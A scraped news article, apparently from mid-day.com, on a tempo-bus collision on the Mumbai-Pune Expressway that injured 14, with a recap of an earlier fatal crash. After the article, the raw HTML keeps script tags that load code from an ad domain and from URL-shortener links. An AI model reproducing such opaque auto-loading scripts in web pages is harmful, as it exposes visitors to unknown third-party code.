<p>Fourteen persons were injured after a tempo hit a private bus on the <a href="https://www.mid-day.com/mumbai/mumbai-news/article/one-dead-seven-injured-as-st-bus-hits-truck-on-mumbai-pune-expressway-23413763" target="_blank" rel="none noopener">Mumbai-Pune Expressway</a> in Maharashtra's Raigad district in the early hours of Thursday, a police official said, reported PTI.</p>
<p>The incident took place at around 3 am when the bus carrying 11 persons was on way to <a href="https://www.mid-day.com/mumbai/mumbai-news/article/mumbai-trans-harbour-link-new-road-near-atal-setu-will-bring-down-mumbai-pune-expressway-traffic-by-50-per-cent-says-nitin-gadkari-23393524" target="_blank" rel="none noopener">Mumbai</a> from Sangola, reported PTI.</p>
<p>The brakes of a tempo transporting chickens failed following which the vehicle hit the bus from behind, the official said.</p>
<p>The bus veered off the Mumbai-Pune Expressway, overturned and fell into a 20-foot-deep ditch on the roadside, he said, reported PTI.</p>
<p>Eleven persons onboard the bus, including the driver, and three tempo occupants were injured, the official said, reported PTI.</p>
<p>The bus passengers were later rescued. They were treated for minor injuries at a civic-run hospital in Khopoli and later allowed to go.</p>
<p>The three tempo occupants received serious injuries. They were undergoing treatment at the MGM Hospital in Kalamboli near Panvel, the official said, reported PTI.</p>
<p>The <a href="https://www.mid-day.com/mumbai/mumbai-news/article/heatwave-paralyses-mumbai-pune-expressway-23348244" target="_blank" rel="none noopener">Khopoli police</a> were conducting a probe into the incident, the official added.</p>
<h2>One dead, seven injured as ST bus hits truck on Mumbai-Pune Expressway</h2>
<p>In October, a police official said that one passenger died and at least seven others were injured after a state-run bus they were travelling in collided with a truck on the Mumbai-Pune Expressway, reported PTI.</p>
<p>The incident took place near Lonavala in Pune district around 3 am, he said.</p>
<p>"The <a href="https://www.mid-day.com/mumbai/mumbai-news/article/mumbai-five-dead-42-injured-as-in-accident-on-mumbai-pune-expressway-23364490" target="_blank" rel="none noopener">Maharashtra State Road Transport Corporation</a> (MSRTC) bus from Pathardi depot (in Ahmednagar) was on its way to Mumbai when it collided with a truck from behind. Both the vehicles were going in the same direction," he said, reported PTI.</p>
<p>A male passenger, identified as Vishwanath Bhagwan Waghmare, died in the incident, while seven to eight passengers suffered injuries and were rushed to a nearby hospital for treatment, the official said, adding that traffic on the Mumbai-Pune Expressway route was disrupted for some time, but the authorities soon cleared it.</p>
<p><strong>(With inputs from PTI)</strong></p><p>
    <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
    <div id="container-7445444aea29efc3d061cbd866026c06"></div>
    </p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

Fourteen persons were injured after a tempo hit a private bus on the Mumbai-Pune Expressway in Maharashtra`s Raigad district in the early hours of Thursday

Maharashtra: 14 Injured in Tempo-Bus Collision on Mumbai-Pune Expressway

Maharashtra elections 2024: Over 10,000 kg silver seized from truck in Dhule on polling day

The incident took place at around 3 am when the bus carrying 11 persons was on way to Mumbai from Sangola; the brakes of a tempo transporting chickens failed following which the vehicle hit the bus from behind

Maharashtra: 14 injured as tempo hits bus on Mumbai-Pune Expressway

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / Mumbai / Mumbai News / Article / Maharashtra: 14 injured as tempo hits bus on Mumbai-Pune Expressway